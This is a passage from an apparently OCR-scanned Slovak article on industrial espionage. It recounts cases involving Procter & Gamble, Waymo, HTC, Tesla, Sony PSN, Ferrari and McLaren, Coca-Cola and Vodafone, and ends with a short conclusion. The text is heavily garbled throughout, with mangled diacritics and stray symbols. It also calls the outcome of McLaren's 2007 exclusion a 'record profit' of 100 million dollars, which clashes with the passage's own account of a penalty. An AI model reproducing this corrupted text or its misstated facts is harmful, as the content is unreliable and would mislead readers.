obsahovali udaje tgkajuce sa jadrovych zbrani USA a rozmiestnenia tychto
zbrani a systémov, ako aj radarovych systémov vcasného varovania a
schopnosti USA detekovat’ balistické rakety. V pripade dokd&zania viny mu
hrozi v&zenie az na dvadsat’ rokov.

V roku 1985 Eugene Mayfield, byvaly zamestnanec spolocnosti Procter &
Gamble, ukradla a snazila sa predat’ strategicky plan marketingovych aktivit
zameranych na zvysenie predaja zubnej pasty znacky Crest. Predaj cennych
informdcii prepadol, nedspesnu Spidnku chytili na mieste ¢inu s vyraznymi
uctami.

Waymo - Spolocnosti boli odcudzené subory s tajngmi informdciami ako
navrhy, plany a vysledky testovania ich byvalym zamestnancom.

HTC - Spolo¢nost” obvinila troch manazérov, ktori mali na starosti vyvoj
novych produktov za priemyselnu Spiondz pre cinsku konkurenciu.

Tesla - Byvaly zamestnanec ukradol doéverné fotografie a vided vygrobnych
systémov za ucelom poskodenia dobrého mena spolo¢nosti.

Na siet’ Sony PlayStation Network (PSN) v roku 2011 zautocili okrem iného aj
utoky DDoS, ktoré vyustili do uUniku Udajov tykajucich sa 100 000 000
pouzivatelov siete PSN. Tieto uUdaje zahffiali mend a UcCty pouZivatelov,
posStové adresy a udaje o kreditnych kartacht®),

V roku 2007 tim Ferrari Formula One obvinil veduceho inziniera McLarenu a
byvalého zamestnanca timu Ferrari z poskytovania dévernych informdcii
McLarenu. Zdaroven sa vyskytli obvinenia, ze timu Renault Formula One boli
tiez poskytované doéverné informdcie od MclLarenu. Tieto dbverné
informdcie Udajne zahrnali technické Specifikdcie pre automobily formuly
jeden a dalSie technické informdcie o dizajne. Po vySetrovani
Medzindrodnou automobilovou federdciou (FIA) bol tim McLaren Formula
One vyluceny z Majstrovstiev sveta konstruktérov 2007 a jeho vysledkom
bol rekordny zisk 100 milionov doldarov.
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e Pocas zriedkavého pripadu spoluprdce medzi konkurenciou bol
zamestnanec Coca-Coly a jeho dvaja komplici zatknuti v Atlante za krddez
duSevného vlastnictva (recept na novy produkt) a pokus o predaj tychto
informdcii  konkurentovi spolo¢nosti Coca-Cola, spolo¢nosti PepsiCo.
Spolo¢nost” PepsiCo informovala Coca-Colu a FBI a spoluprdca viedla k
zatknutiu pachatelov v roku 2006.

Odhalenie §piondze je tvrdym uderom pre kazdu firmu, najma ak ma zlodejov na
vlastnej vyplatnej pdske. Oproti minulosti sa zvysil pocet hackerskych utokov.
Neraz su za priemyselnou Spiondzou $pickovi profesiondli z oblasti IT. V pripade
priemyselnej Spiondze v nemeckom Vodafone bol vyndsacom zamestnanec, ktory
spravoval IT systém v spolo¢nosti. Skanddlom s Uplatngmi zamestnancami sa v
poslednej dekdade nevyhli ani nemecké firmy so zvu¢ngmi menami ako Siemens,
ThyssenKrupp ¢i Deutsche Bank. Podla Steffena Salvenmosera z PWC sa obavy
podnikov zvysuju najma v oblasti cyberzlocinu.M

Okrem vyssie spomenutych pripadov a mnohych dalsich, ktoré sa dostali na
verejnost, je stopercentne isté, ze kazdy den dbjde k desiatkam pripadov
priemyselnej Spiondze, ktoré pravdepodobne nikdy nebudu odhalené.

Zdaver

Priemyselnd Spiondz nie je v dneSnom svete ni¢im vynimocnym. Ohrozeniu
takého typu je vystaveny kazdy jeden podnik. Tento clanok sluzil na to, aby
vysvetlil zdakladny pojem priemyselnej Spiondze, poukdzal na najcastejsie
pouzivané metddy a formy Spiondze, na jeho ciele. Taktiez boli spomenuté priklady
zo zivota, podfa ktorych mézeme fahsie urcit’ potrebné prevencie voci Spiondze.
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